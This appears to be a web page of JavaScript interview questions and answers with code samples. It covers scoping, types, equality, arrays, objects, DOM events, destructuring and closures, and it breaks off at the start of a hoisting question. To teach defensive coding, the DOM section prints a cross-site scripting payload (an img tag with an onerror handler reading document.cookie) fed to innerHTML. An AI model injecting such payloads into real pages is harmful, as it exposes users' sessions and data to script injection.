🌐 JavaScript Interview Questions

40 questions with theory, real code, real-world scenarios, common mistakes and follow-up questions — from basic to performance optimization.

40Questions
5Levels
6Answer Sections
240Total Answers
Showing 40 of 40 questions
0 of 40 viewed
01 What are var, let, and const — and when should you use each? basic

var, let, and const are the three ways to declare variables in JavaScript. They differ in scope, hoisting behaviour, and re-assignability.

var is function-scoped — it's visible throughout the entire function, even before its declaration line (hoisted as undefined). let and const are block-scoped — they exist only inside the nearest { } block. Both are hoisted but land in a Temporal Dead Zone (TDZ) until the declaration is reached, so accessing them early throws a ReferenceError.

const prevents re-assignment of the binding (you can't do const x = 1; x = 2;), but if the value is an object or array, its contents can still be mutated. let allows re-assignment.

Modern rule: default to const, use let when you need to re-assign, avoid var entirely.

// ── var: function-scoped, hoisted as undefined ──
function varExample() {
    console.log(x); // undefined (hoisted, but not yet assigned)
    var x = 10;
    console.log(x); // 10

    if (true) {
        var x = 99; // same variable — var ignores block scope
    }
    console.log(x); // 99 (overwritten!)
}

// ── let: block-scoped, TDZ ──
function letExample() {
    // console.log(y); // ReferenceError: Cannot access 'y' before initialization
    let y = 10;

    if (true) {
        let y = 99; // different variable — block-scoped
        console.log(y); // 99
    }
    console.log(y); // 10 (unchanged)
}

// ── const: block-scoped, no re-assignment ──
const API_URL = "https://api.example.com/v2";
// API_URL = "new-url"; // TypeError: Assignment to constant variable

// But object properties CAN be mutated:
const config = { retries: 3, timeout: 5000 };
config.retries = 5;       // ✅ allowed — mutating property
// config = {};            // ❌ TypeError — re-assigning binding

// Practical: loop variable with var vs let
for (var i = 0; i < 3; i++) {
    setTimeout(() => console.log("var i:", i), 100); // 3, 3, 3
}
for (let j = 0; j < 3; j++) {
    setTimeout(() => console.log("let j:", j), 100); // 0, 1, 2
}

A team migrated a 50K-line legacy codebase from var to let/const using ESLint's no-var rule. They found 23 bugs caused by var's function scoping — variables leaking out of if-blocks and for-loops. After the migration, they saw zero scope-related bugs in the next 6 months.

Default to const. Use let only when re-assignment is needed. Never use var — it leaks out of blocks and causes subtle bugs in loops and closures.
⚠️ Common Mistake

Candidates say "const makes a value immutable" — wrong. const prevents re-assignment, not mutation. Object properties and array elements can still be changed:

❌ Wrong — thinking const prevents all changes
const user = { name: "Alice" };
// "This will throw an error":
user.name = "Bob"; // Actually works fine!
✅ Correct — const prevents re-assignment only
const user = { name: "Alice" };
user.name = "Bob";    // ✅ OK — mutating property
// user = {};          // ❌ TypeError — re-assigning binding
// Use Object.freeze(user) for true immutability
🔁 Follow-Up Question

What is the Temporal Dead Zone (TDZ) and why does it exist?

02 What are JavaScript's primitive data types? basic

JavaScript has 7 primitive types and 1 non-primitive type (Object). Primitives are immutable and compared by value; objects are mutable and compared by reference.

The 7 primitives: string, number, boolean, null, undefined, symbol (ES6), and bigint (ES2020).

number is always a 64-bit float (IEEE 754) — there's no separate integer type. This means 0.1 + 0.2 !== 0.3 due to floating-point precision. bigint handles arbitrarily large integers (e.g., 9007199254740993n).

null means "intentionally empty" while undefined means "not yet assigned." typeof null returns "object" — this is a famous JavaScript bug from 1995 that can never be fixed without breaking the web.

// ── The 7 primitives ──
const str = "hello";          // string
const num = 42;               // number (always 64-bit float)
const bool = true;            // boolean
const nothing = null;         // null (intentional absence)
let notSet;                   // undefined (not assigned)
const sym = Symbol("id");     // symbol (unique identifier)
const big = 9007199254740993n; // bigint (arbitrary precision)

// ── typeof checks ──
console.log(typeof str);      // "string"
console.log(typeof num);      // "number"
console.log(typeof bool);     // "boolean"
console.log(typeof nothing);  // "object" ← famous JS bug!
console.log(typeof notSet);   // "undefined"
console.log(typeof sym);      // "symbol"
console.log(typeof big);      // "bigint"

// ── Primitives are immutable & compared by value ──
let a = "hello";
let b = "hello";
console.log(a === b); // true (same value)

// ── Objects are compared by reference ──
let obj1 = { x: 1 };
let obj2 = { x: 1 };
console.log(obj1 === obj2); // false (different references)

// ── Floating-point precision issue ──
console.log(0.1 + 0.2);           // 0.30000000000000004
console.log(0.1 + 0.2 === 0.3);   // false!
// Fix: compare with tolerance
console.log(Math.abs(0.1 + 0.2 - 0.3) < Number.EPSILON); // true

// ── BigInt for large numbers ──
console.log(Number.MAX_SAFE_INTEGER);  // 9007199254740991
console.log(9007199254740991 + 2);     // 9007199254740992 (wrong!)
console.log(9007199254740991n + 2n);   // 9007199254740993n (correct!)

A fintech startup's payment system silently corrupted transaction IDs above 2^53 because JavaScript's Number type loses precision for large integers. Switching to BigInt for IDs and using JSON.parse with a reviver function fixed 340+ phantom "duplicate transaction" errors per week.

JavaScript has 7 primitives (string, number, boolean, null, undefined, symbol, bigint). Primitives are immutable and compared by value. Everything else is an Object, compared by reference.
⚠️ Common Mistake

Candidates forget that typeof null returns "object" and try to check for null with typeof:

❌ Wrong — typeof null is "object"
function process(value) {
    if (typeof value === "object") {
        return value.name; // TypeError if value is null!
    }
}
✅ Correct — check null explicitly first
function process(value) {
    if (value !== null && typeof value === "object") {
        return value.name; // safe
    }
}
🔁 Follow-Up Question

What is the difference between null and undefined? When do you use each?

03 Explain == vs === (loose vs strict equality). basic

=== (strict equality) compares value and type — no conversion. == (loose equality) converts types before comparing using the Abstract Equality Algorithm, which has unintuitive rules.

With ==: null == undefined is true, "" == 0 is true, "0" == false is true, and [] == false is true. These conversions cause real bugs.

The only valid use of == is checking value == null (which catches both null and undefined in one check). Everything else should use ===.

// ── Strict equality (===) — no type conversion ──
console.log(1 === 1);         // true
console.log(1 === "1");       // false (number vs string)
console.log(true === 1);      // false (boolean vs number)
console.log(null === undefined); // false (different types)

// ── Loose equality (==) — type coercion happens ──
console.log(1 == "1");        // true  (string → number)
console.log(true == 1);       // true  (boolean → number)
console.log("" == 0);         // true  (string → number → 0)
console.log(null == undefined); // true (special rule)
console.log("0" == false);    // true  (both → 0)

// ── The confusing cases ──
console.log([] == false);     // true  ([] → "" → 0, false → 0)
console.log([] == ![]);       // true! ([] → 0, ![] → false → 0)
console.log("" == false);     // true  (both coerce to 0)
console.log(" " == false);    // true  (" " → 0)

// ── Only valid use of == : null check ──
function greet(name) {
    // Catches both null AND undefined in one check
    if (name == null) {
        return "Hello, stranger!";
    }
    return `Hello, ${name}!`;
}
console.log(greet(null));      // "Hello, stranger!"
console.log(greet(undefined)); // "Hello, stranger!"
console.log(greet("Alice"));   // "Hello, Alice!"

// ── Object comparison: always by reference ──
const a = { x: 1 };
const b = { x: 1 };
console.log(a === b); // false (different objects in memory)
console.log(a === a); // true  (same reference)

A healthcare app used == to compare patient IDs (some stored as strings, some as numbers). The bug: patient ID "007" matched patient 7 due to type coercion, causing two patients' records to merge. Switching to === and normalizing types fixed the issue.

Always use === (strict equality). The only exception: value == null to check for both null and undefined in one line.
⚠️ Common Mistake

Candidates say "always use ===" without mentioning the null check exception, or they can't explain why [] == false is true:

❌ Wrong — can't explain coercion chain
// "[] == false because arrays are falsy"
// Wrong! [] is truthy. The coercion is:
// [] → "" → 0, false → 0, so 0 == 0 → true
✅ Correct — explain the coercion steps
// [] == false
// Step 1: [].toString() → ""     (ToPrimitive)
// Step 2: Number("") → 0         (ToNumber)
// Step 3: Number(false) → 0      (ToNumber)
// Step 4: 0 === 0 → true
// Note: [] is truthy! if ([]) { ... } executes.
🔁 Follow-Up Question

What is Object.is() and how does it differ from ===?

04 How do functions work in JavaScript (declarations, expressions, arrows)? basic

JavaScript has three main ways to define functions: function declarations, function expressions, and arrow functions.

Function declarations are hoisted — you can call them before the line they're defined on. Function expressions (assigned to a variable) are NOT hoisted — calling before the assignment throws an error.

Arrow functions (=>) are a concise syntax introduced in ES6. The key difference: arrows don't have their own this — they inherit this from the surrounding scope (lexical this). This makes them ideal for callbacks but unsuitable for object methods or constructors.

All functions in JavaScript are first-class citizens — they can be passed as arguments, returned from other functions, and assigned to variables.

// ── Function Declaration (hoisted) ──
console.log(add(2, 3)); // 5 — works before declaration!
function add(a, b) {
    return a + b;
}

// ── Function Expression (NOT hoisted) ──
// console.log(multiply(2, 3)); // TypeError: multiply is not a function
const multiply = function(a, b) {
    return a * b;
};
console.log(multiply(2, 3)); // 6

// ── Arrow Function (concise, lexical this) ──
const divide = (a, b) => a / b;  // implicit return for single expression
const square = x => x * x;       // single param: no parens needed
const getUser = () => ({ name: "Alice", age: 30 }); // return object: wrap in ()

// ── Arrow vs regular: `this` binding ──
const timer = {
    seconds: 0,
    start() {
        // Arrow inherits `this` from start() → timer object
        setInterval(() => {
            this.seconds++;
            console.log(this.seconds);
        }, 1000);
    },
    // BAD: arrow as method — `this` is outer scope (window/undefined)
    // reset: () => { this.seconds = 0; } // `this` is NOT timer!
};

// ── Functions as first-class citizens ──
function applyOperation(a, b, operation) {
    return operation(a, b);
}
console.log(applyOperation(10, 5, add));      // 15
console.log(applyOperation(10, 5, multiply)); // 50
console.log(applyOperation(10, 5, (a, b) => a % b)); // 0

// ── Default parameters ──
function createUser(name, role = "viewer", active = true) {
    return { name, role, active };
}
console.log(createUser("Bob"));              // { name: "Bob", role: "viewer", active: true }
console.log(createUser("Alice", "admin"));   // { name: "Alice", role: "admin", active: true }

A React team had 15+ bugs from using arrow functions as class methods. The arrows inherited this from the module scope instead of the component instance, causing "Cannot read property setState of undefined" errors. Switching to regular methods with class fields syntax (handleClick = () => {}) fixed all of them.

Use function declarations for top-level functions (hoisted), arrow functions for callbacks and short expressions (lexical this), and avoid arrow functions as object methods.
⚠️ Common Mistake

Candidates use arrow functions everywhere without understanding this implications:

❌ Wrong — arrow as object method
const counter = {
    count: 0,
    increment: () => {
        this.count++; // `this` is NOT counter — it's the outer scope!
        console.log(this.count); // NaN or error
    }
};
✅ Correct — regular method shorthand
const counter = {
    count: 0,
    increment() {
        this.count++; // `this` is counter ✅
        console.log(this.count); // 1
    }
};
🔁 Follow-Up Question

What are IIFEs (Immediately Invoked Function Expressions) and why were they used before ES6 modules?

05 What are arrays and what are the most useful array methods? basic

JavaScript arrays are ordered, dynamic-length collections that can hold any mix of types. Under the hood, they're special objects with numeric keys and a length property.

Array methods fall into two categories: mutating (change the original array) and non-mutating (return a new array). Modern JavaScript favours non-mutating methods for predictability.

Key mutating methods: push(), pop(), shift(), unshift(), splice(), sort(), reverse(). Key non-mutating methods: map(), filter(), reduce(), find(), some(), every(), slice(), concat(), flat(), includes().

// ── Creating arrays ──
const fruits = ["apple", "banana", "cherry"];
const mixed = [1, "two", true, null, { key: "value" }];
const generated = Array.from({ length: 5 }, (_, i) => i * 2); // [0, 2, 4, 6, 8]

// ── Mutating methods (change original) ──
const stack = [1, 2, 3];
stack.push(4);          // [1, 2, 3, 4]   — add to end
stack.pop();            // [1, 2, 3]       — remove from end
stack.unshift(0);       // [0, 1, 2, 3]   — add to start
stack.shift();          // [1, 2, 3]       — remove from start
stack.splice(1, 1, 99); // [1, 99, 3]     — remove 1 at index 1, insert 99

// ── Non-mutating methods (return new array) ──
const prices = [29.99, 9.99, 49.99, 14.99, 79.99];

const doubled = prices.map(p => p * 2);
// [59.98, 19.98, 99.98, 29.98, 159.98]

const cheap = prices.filter(p => p < 20);
// [9.99, 14.99]

const total = prices.reduce((sum, p) => sum + p, 0);
// 184.95

const found = prices.find(p => p > 40);
// 49.99

const hasExpensive = prices.some(p => p > 50);
// true

const allPositive = prices.every(p => p > 0);
// true

// ── Chaining methods ──
const orders = [
    { product: "Laptop", price: 999, qty: 1 },
    { product: "Mouse", price: 25, qty: 3 },
    { product: "Monitor", price: 450, qty: 1 },
    { product: "Cable", price: 12, qty: 5 },
];

const expensiveTotal = orders
    .filter(o => o.price > 100)                // keep expensive items
    .map(o => ({ ...o, total: o.price * o.qty })) // add total field
    .reduce((sum, o) => sum + o.total, 0);     // sum totals
console.log(expensiveTotal); // 1449

// ── Useful newer methods ──
console.log([1, [2, [3, [4]]]].flat(Infinity)); // [1, 2, 3, 4]
console.log(prices.includes(9.99));              // true
console.log(prices.findIndex(p => p > 40));      // 2

An e-commerce team replaced 200+ for-loops with map/filter/reduce chains across their checkout pipeline. Code readability improved so much that code review time dropped 40%, and they caught a long-standing bug where a for-loop was accidentally mutating the original cart array.

Prefer non-mutating methods (map, filter, reduce, find) over loops. They're easier to read, chain, and debug. Use mutating methods (push, splice) only when performance requires in-place modification.
⚠️ Common Mistake

Candidates confuse map() with forEach() — they use map() without using the return value, wasting memory:

❌ Wrong — using map() for side effects
users.map(user => {
    console.log(user.name); // return value ignored!
}); // creates and discards a new array of undefined
✅ Correct — use forEach() for side effects, map() for transformation
// Side effects → forEach
users.forEach(user => console.log(user.name));

// Transformation → map
const names = users.map(user => user.name);
🔁 Follow-Up Question

What is the difference between for...of and for...in when iterating arrays?

06 How do objects work in JavaScript? basic

Objects are unordered collections of key-value pairs (properties). Keys are always strings or Symbols; values can be anything. Objects are the foundation of JavaScript — arrays, functions, dates, and even errors are all objects.

You can create objects with object literals ({ }), new Object(), Object.create(), or class constructors. Object literals are by far the most common.

Property access: dot notation (obj.key) for known keys, bracket notation (obj["key"]) for dynamic or special-character keys. ES6 added shorthand properties, computed properties, and method shorthand.

// ── Object literal ──
const user = {
    name: "Alice",
    age: 30,
    email: "alice@example.com",
    isActive: true,
    greet() {              // method shorthand
        return `Hi, I'm ${this.name}`;
    }
};

// ── Property access ──
console.log(user.name);        // "Alice" (dot notation)
console.log(user["email"]);    // "alice@example.com" (bracket)

const key = "age";
console.log(user[key]);        // 30 (dynamic key — bracket only)

// ── Adding / deleting properties ──
user.role = "admin";           // add
delete user.isActive;          // delete

// ── ES6 shorthand ──
const name = "Bob";
const age = 25;
const shorthand = { name, age }; // { name: "Bob", age: 25 }

// ── Computed property names ──
const field = "score";
const dynamic = { [field]: 100, [`${field}Label`]: "Points" };
// { score: 100, scoreLabel: "Points" }

// ── Object destructuring ──
const { name: userName, age: userAge, role = "viewer" } = user;
console.log(userName, userAge, role); // "Alice" 30 "admin"

// ── Useful Object methods ──
console.log(Object.keys(user));    // ["name", "age", "email", "role", "greet"]
console.log(Object.values(user));  // ["Alice", 30, "alice@example.com", "admin", ƒ]
console.log(Object.entries(user)); // [["name","Alice"], ["age",30], ...]

// ── Checking properties ──
console.log("name" in user);              // true
console.log(user.hasOwnProperty("name")); // true

// ── Merging objects ──
const defaults = { theme: "dark", lang: "en", notifications: true };
const prefs = { theme: "light", lang: "es" };
const merged = { ...defaults, ...prefs };
// { theme: "light", lang: "es", notifications: true }

// ── Optional chaining (ES2020) ──
const response = { data: { user: { address: null } } };
console.log(response?.data?.user?.address?.city); // undefined (no error)

A SaaS dashboard used Object.entries() with destructuring to dynamically generate filter UI from an API response — each key became a filter name, each value became the options. This replaced 300 lines of hardcoded switch-case logic with 15 lines of dynamic rendering.

Objects are key-value collections. Use dot notation for known keys, brackets for dynamic keys. Master destructuring, spread, Object.keys/values/entries, and optional chaining for daily work.
⚠️ Common Mistake

Candidates forget that object comparison is by reference, not by value:

❌ Wrong — comparing objects by value
const a = { x: 1 };
const b = { x: 1 };
if (a === b) { /* never executes */ }
// a === b is false — different references!
✅ Correct — compare by content
// Option 1: JSON (works for simple objects)
JSON.stringify(a) === JSON.stringify(b); // true

// Option 2: compare specific fields
a.x === b.x; // true

// Option 3: deep equality library (lodash)
_.isEqual(a, b); // true
🔁 Follow-Up Question

What is the difference between Object.freeze(), Object.seal(), and Object.preventExtensions()?

07 What is the DOM and how do you manipulate it? basic

The DOM (Document Object Model) is a tree-structured API that represents an HTML document as JavaScript objects. Each HTML element becomes a node in the tree. JavaScript can read, modify, add, or remove nodes to change what the user sees.

The browser parses HTML into the DOM tree, and any change to the DOM triggers a re-render of the affected part of the page. This is why excessive DOM manipulation is slow — each change can trigger reflow (layout recalculation) and repaint.

Modern frameworks (React, Vue) abstract away direct DOM manipulation with a Virtual DOM, but understanding the real DOM is essential for debugging, performance optimization, and vanilla JS work.

// ── Selecting elements ──
const heading = document.getElementById("main-title");
const buttons = document.querySelectorAll(".btn");          // NodeList
const firstBtn = document.querySelector(".btn");            // first match
const nav = document.getElementsByClassName("nav-link");    // HTMLCollection

// ── Reading & modifying content ──
heading.textContent = "Updated Title";       // text only (safe from XSS)
heading.innerHTML = "<em>Updated</em> Title"; // parses HTML (XSS risk!)

// ── Modifying styles ──
heading.style.color = "#4f46e5";
heading.style.fontSize = "2rem";
// Better: toggle CSS classes
heading.classList.add("highlight");
heading.classList.remove("old-style");
heading.classList.toggle("active");

// ── Modifying attributes ──
const link = document.querySelector("a");
link.setAttribute("href", "https://example.com");
link.setAttribute("target", "_blank");
link.getAttribute("href"); // "https://example.com"

// ── Creating & inserting elements ──
const card = document.createElement("div");
card.className = "product-card";
card.innerHTML = `
    <h3>New Product</h3>
    <p>$29.99</p>
`;
document.querySelector(".product-grid").appendChild(card);

// ── Removing elements ──
const oldBanner = document.querySelector(".promo-banner");
oldBanner.remove(); // modern way
// oldBanner.parentNode.removeChild(oldBanner); // legacy way

// ── Efficient batch updates with DocumentFragment ──
const fragment = document.createDocumentFragment();
for (let i = 0; i < 100; i++) {
    const li = document.createElement("li");
    li.textContent = `Item ${i + 1}`;
    fragment.appendChild(li); // no reflow per item
}
document.querySelector("ul").appendChild(fragment); // single reflow

A news site appended 50 DOM elements one-by-one in a loop on every scroll event, causing severe jank (dropped from 60fps to 8fps). Switching to DocumentFragment for batch insertion and using requestAnimationFrame for scroll handling restored smooth 60fps scrolling.

The DOM is a tree of HTML nodes that JS can manipulate. Use querySelector/All to select, classList for styling, createElement + DocumentFragment for efficient insertion, and textContent (not innerHTML) to avoid XSS.
⚠️ Common Mistake

Candidates use innerHTML to insert user-generated content, creating XSS vulnerabilities:

❌ Wrong — innerHTML with user input (XSS risk)
const userInput = '<img src=x onerror="alert(document.cookie)">';
div.innerHTML = userInput; // executes malicious script!
✅ Correct — use textContent for user data
const userInput = '<img src=x onerror="alert(document.cookie)">';
div.textContent = userInput; // displays as plain text, no execution
🔁 Follow-Up Question

What is the difference between the DOM and the Virtual DOM? Why do frameworks use a Virtual DOM?

08 How do events work in JavaScript (addEventListener, bubbling, capturing)? basic

Events are signals that something happened — a click, keypress, scroll, form submission, etc. JavaScript handles events using the Observer pattern: you register a listener function that runs when a specific event occurs on a specific element.

Events propagate in three phases: Capturing (top → target), Target (the element itself), and Bubbling (target → top). By default, listeners fire during the bubbling phase. You can listen during capturing by passing { capture: true }.

Event delegation is a pattern where you attach ONE listener to a parent element instead of many listeners on child elements. It works because of bubbling — clicks on children bubble up to the parent. This is more memory-efficient and handles dynamically added elements automatically.

// ── addEventListener ──
const button = document.querySelector("#submit-btn");

button.addEventListener("click", function(event) {
    console.log("Button clicked!");
    console.log("Target:", event.target);        // element that was clicked
    console.log("Current:", event.currentTarget); // element with listener
});

// ── Removing a listener (must use named function) ──
function handleClick(e) {
    console.log("Clicked:", e.target.textContent);
}
button.addEventListener("click", handleClick);
button.removeEventListener("click", handleClick);

// ── Event bubbling ──
// <div id="parent"><button id="child">Click</button></div>
document.getElementById("parent").addEventListener("click", () => {
    console.log("Parent clicked"); // fires AFTER child (bubbling)
});
document.getElementById("child").addEventListener("click", () => {
    console.log("Child clicked");  // fires first (target phase)
});
// Click child → "Child clicked" → "Parent clicked"

// ── Stop propagation ──
document.getElementById("child").addEventListener("click", (e) => {
    e.stopPropagation(); // parent listener will NOT fire
    console.log("Only child handles this");
});

// ── Event delegation (efficient pattern) ──
// Instead of adding listeners to each <li>:
document.querySelector("ul.todo-list").addEventListener("click", (e) => {
    const li = e.target.closest("li"); // find the clicked <li>
    if (!li) return;                   // clicked outside any <li>

    if (e.target.matches(".delete-btn")) {
        li.remove(); // delete this item
    } else if (e.target.matches(".toggle-btn")) {
        li.classList.toggle("completed"); // toggle done state
    }
});
// Works for dynamically added <li> elements too!

// ── Prevent default ──
document.querySelector("form").addEventListener("submit", (e) => {
    e.preventDefault(); // stop form from reloading the page
    const data = new FormData(e.target);
    fetch("/api/submit", { method: "POST", body: data });
});

A dashboard with 500+ table rows had individual click listeners on each row, causing 2MB of memory overhead and 300ms initialization time. Switching to a single event delegation listener on the <table> reduced memory usage by 95% and made initialization instant — plus it automatically handled new rows added via AJAX.

Use addEventListener (not onclick). Events bubble from target to root. Use event delegation for lists/tables — one listener on the parent handles all children, including dynamically added ones.
⚠️ Common Mistake

Candidates add individual listeners in a loop instead of using event delegation:

❌ Wrong — listener per item (wastes memory)
document.querySelectorAll("li").forEach(li => {
    li.addEventListener("click", () => {
        li.classList.toggle("done");
    });
}); // 1000 items = 1000 listeners! Doesn't work for new items.
✅ Correct — single delegated listener
document.querySelector("ul").addEventListener("click", (e) => {
    const li = e.target.closest("li");
    if (li) li.classList.toggle("done");
}); // 1 listener for all items, including future ones.
🔁 Follow-Up Question

What is the difference between event.target and event.currentTarget?

09 What are template literals and destructuring? basic

Template literals (backtick strings `...`) allow embedded expressions, multi-line strings, and tagged templates. They replace messy string concatenation with clean ${expression} syntax.

Destructuring extracts values from arrays or properties from objects into individual variables in a single statement. It works with defaults, renaming, nested structures, and rest elements.

Both are ES6 features that dramatically improve code readability. They're used everywhere in modern JavaScript — React components, API responses, function parameters, and configuration objects.

// ── Template literals ──
const name = "Alice";
const age = 30;

// Old way (concatenation)
const old = "Hello, " + name + "! You are " + age + " years old.";

// Template literal
const msg = `Hello, ${name}! You are ${age} years old.`;

// Multi-line
const html = `
    <div class="card">
        <h2>${name}</h2>
        <p>Age: ${age}</p>
        <p>Status: ${age >= 18 ? "Adult" : "Minor"}</p>
    </div>
`;

// Expressions inside ${}
console.log(`Total: $${(29.99 * 3).toFixed(2)}`); // "Total: $89.97"
console.log(`${name.toUpperCase()} joined ${new Date().getFullYear()}`);

// Tagged template (for escaping, i18n, CSS-in-JS)
function highlight(strings, ...values) {
    return strings.reduce((result, str, i) => {
        return result + str + (values[i] ? `<mark>${values[i]}</mark>` : "");
    }, "");
}
const output = highlight`Hello ${name}, you scored ${95}!`;
// "Hello <mark>Alice</mark>, you scored <mark>95</mark>!"

// ── Object destructuring ──
const user = { name: "Bob", age: 25, email: "bob@example.com", role: "admin" };
const { name: userName, email, role = "viewer" } = user;
// userName = "Bob", email = "bob@example.com", role = "admin"

// Nested destructuring
const response = {
    data: { users: [{ id: 1, name: "Alice" }], total: 100 },
    status: 200
};
const { data: { users: [firstUser], total }, status } = response;
// firstUser = { id: 1, name: "Alice" }, total = 100, status = 200

// ── Array destructuring ──
const [first, second, ...rest] = [10, 20, 30, 40, 50];
// first = 10, second = 20, rest = [30, 40, 50]

// Swap variables without temp
let a = 1, b = 2;
[a, b] = [b, a]; // a = 2, b = 1

// ── Function parameter destructuring ──
function createUser({ name, role = "viewer", active = true }) {
    return { name, role, active, createdAt: new Date() };
}
const newUser = createUser({ name: "Charlie", role: "editor" });

A team replaced 400+ string concatenation calls with template literals during a code modernization sprint. The codebase became significantly more readable, and they found 12 bugs where concatenation had incorrect spacing or missing separators that were invisible in the old syntax.

Use template literals for any string with variables or multi-line content. Use destructuring to extract values from objects/arrays — especially in function parameters, API responses, and imports.
⚠️ Common Mistake

Candidates forget to provide defaults when destructuring potentially missing properties:

❌ Wrong — no defaults, crashes on missing data
function render({ user: { name, address: { city } } }) {
    return `${name} from ${city}`;
}
render({ user: { name: "Alice" } }); // TypeError: Cannot destructure 'city'
✅ Correct — defaults and optional chaining
function render({ user: { name, address: { city } = {} } = {} }) {
    return `${name} from ${city ?? "Unknown"}`;
}
render({ user: { name: "Alice" } }); // "Alice from Unknown"
🔁 Follow-Up Question

What are tagged template literals and how are they used in libraries like styled-components?

10 What is typeof and how does type coercion work? basic

typeof returns a string indicating the type of a value. It has some well-known quirks: typeof null === "object" (historical bug), typeof NaN === "number" (NaN is technically a number), and typeof function === "function" (functions get their own type even though they're objects).

Type coercion is JavaScript's automatic type conversion. It happens with operators (+, -, ==), boolean contexts (if, &&, ||), and some methods. The + operator prefers string concatenation (one string operand → everything becomes a string), while -, *, / always convert to numbers.

Falsy values: false, 0, -0, "", null, undefined, NaN. Everything else is truthy — including [], {}, and "0".

// ── typeof results ──
console.log(typeof 42);          // "number"
console.log(typeof "hello");     // "string"
console.log(typeof true);        // "boolean"
console.log(typeof undefined);   // "undefined"
console.log(typeof null);        // "object"    ← bug!
console.log(typeof [1, 2]);      // "object"    ← arrays are objects
console.log(typeof {});          // "object"
console.log(typeof function(){}); // "function"
console.log(typeof Symbol());    // "symbol"
console.log(typeof 42n);         // "bigint"
console.log(typeof NaN);         // "number"    ← NaN is a number!

// ── Better type checking ──
Array.isArray([1, 2]);                    // true
Number.isNaN(NaN);                        // true (not global isNaN!)
value === null;                           // check null explicitly
Object.prototype.toString.call([1, 2]);   // "[object Array]"

// ── String coercion (+ operator) ──
console.log("5" + 3);     // "53"   (number → string)
console.log("5" + true);  // "5true"
console.log("5" + null);  // "5null"

// ── Number coercion (-, *, / operators) ──
console.log("5" - 3);     // 2      (string → number)
console.log("5" * "3");   // 15
console.log(true + 1);    // 2      (true → 1)
console.log(false + 1);   // 1      (false → 0)
console.log(null + 1);    // 1      (null → 0)

// ── Falsy vs truthy ──
const falsy = [false, 0, -0, "", null, undefined, NaN];
const truthy = [true, 1, -1, " ", "0", [], {}, function(){}];

// Common gotcha: "0" is truthy!
if ("0") console.log("'0' is truthy!");  // prints!
if ([]) console.log("[] is truthy!");      // prints!

// ── Explicit conversion (preferred) ──
Number("42");      // 42
String(42);        // "42"
Boolean(0);        // false
Boolean("hello");  // true
parseInt("42px");  // 42  (stops at non-digit)
parseFloat("3.14em"); // 3.14

// ── Nullish coalescing (??) vs OR (||) ──
const count = 0;
console.log(count || 10);  // 10  (0 is falsy — wrong!)
console.log(count ?? 10);  // 0   (?? only checks null/undefined — correct!)

A form validation library used || for defaults: const age = input || 18. Users who entered 0 (newborns in a medical app) got silently overwritten to 18. Switching to ?? (nullish coalescing) fixed the issue — 0 ?? 18 correctly returns 0.

typeof has quirks (null→"object", NaN→"number"). Use Number.isNaN(), Array.isArray(), and === null for reliable checks. Prefer explicit conversion (Number(), String()) over implicit coercion. Use ?? instead of || when 0 or "" are valid values.
⚠️ Common Mistake

Candidates use the global isNaN() instead of Number.isNaN():

❌ Wrong — global isNaN coerces first
isNaN("hello");      // true (coerces "hello" to NaN, then checks)
isNaN(undefined);    // true (coerces to NaN)
isNaN({});           // true (coerces to NaN)
// These aren't NaN — they're just not numbers!
✅ Correct — Number.isNaN checks without coercion
Number.isNaN("hello");   // false (string, not NaN)
Number.isNaN(undefined); // false (undefined, not NaN)
Number.isNaN(NaN);       // true  (actually NaN)
Number.isNaN(0 / 0);     // true  (produces NaN)
🔁 Follow-Up Question

What is the difference between Number() and parseInt()? When would you use each?

11 Explain closures with a real-world example. intermediate

A closure is a function that "remembers" the variables from its outer (enclosing) scope even after that outer function has finished executing. Every function in JavaScript forms a closure, but the term is most useful when an inner function outlives its parent.

Technically, a closure is the combination of a function and its lexical environment (the variables that were in scope when the function was created). The JavaScript engine keeps those outer variables alive in memory as long as the inner function exists.

Closures power many JavaScript patterns: data privacy, factories, partial application, memoization, and module patterns. They're also the reason callbacks and event handlers can access surrounding variables.

// ── Basic closure ──
function createCounter() {
    let count = 0; // private variable — not accessible from outside
    return {
        increment: () => ++count,
        decrement: () => --count,
        getCount:  () => count,
    };
}

const counter = createCounter();
console.log(counter.increment()); // 1
console.log(counter.increment()); // 2
console.log(counter.decrement()); // 1
console.log(counter.getCount());  // 1
// console.log(count);            // ReferenceError — count is private!

// ── Closure for data privacy (module pattern) ──
function createBankAccount(initialBalance) {
    let balance = initialBalance; // private
    const transactions = [];      // private

    return {
        deposit(amount) {
            if (amount <= 0) throw new Error("Amount must be positive");
            balance += amount;
            transactions.push({ type: "deposit", amount, date: new Date() });
            return balance;
        },
        withdraw(amount) {
            if (amount > balance) throw new Error("Insufficient funds");
            balance -= amount;
            transactions.push({ type: "withdrawal", amount, date: new Date() });
            return balance;
        },
        getBalance: () => balance,
        getStatement: () => [...transactions], // return copy, not reference
    };
}

const account = createBankAccount(1000);
account.deposit(500);   // 1500
account.withdraw(200);  // 1300
// account.balance = 999999; // does nothing — balance is private

// ── Closure in loops (the classic interview question) ──
// Problem: var + setTimeout
for (var i = 0; i < 3; i++) {
    setTimeout(() => console.log("var:", i), 100); // 3, 3, 3
}

// Fix 1: IIFE creates a new closure per iteration
for (var i = 0; i < 3; i++) {
    (function(j) {
        setTimeout(() => console.log("IIFE:", j), 100); // 0, 1, 2
    })(i);
}

// Fix 2: let creates block scope (modern, preferred)
for (let i = 0; i < 3; i++) {
    setTimeout(() => console.log("let:", i), 100); // 0, 1, 2
}

// ── Partial application with closures ──
function multiply(a) {
    return function(b) {
        return a * b; // closure over `a`
    };
}
const double = multiply(2);
const triple = multiply(3);
console.log(double(5));  // 10
console.log(triple(5));  // 15

A rate-limiting middleware used closures to track request counts per API key without any external state. Each API key got its own closure with a private counter and timestamp, handling 50K requests/sec without race conditions since each closure had isolated state.

A closure is a function + its lexical environment. It gives JavaScript data privacy, state persistence, and factory patterns. The closure keeps outer variables alive in memory as long as the inner function exists.
⚠️ Common Mistake

Candidates describe closures as "a function inside a function" — that's incomplete. The key is that the inner function accesses variables from the outer scope after it has returned:

❌ Wrong — "just a nested function"
function outer() {
    function inner() {
        console.log("I'm nested!");
    }
    inner(); // not really using closure — inner doesn't outlive outer
}
✅ Correct — inner function outlives outer and accesses its variables
function outer() {
    const secret = 42;
    return function inner() {
        return secret; // closure — accesses `secret` after outer() returns
    };
}
const fn = outer(); // outer() is done
fn(); // 42 — secret is still accessible via closure
🔁 Follow-Up Question

Can closures cause memory leaks? How would you prevent them?

12 What is hoisting and how does it affect var, let, const, and functions? intermediate

Hoisting is JavaScript's behaviour of moving declarations to the top of their scope during the compilation phase (before code runs). However, only the declarations are hoisted — not the initializations.

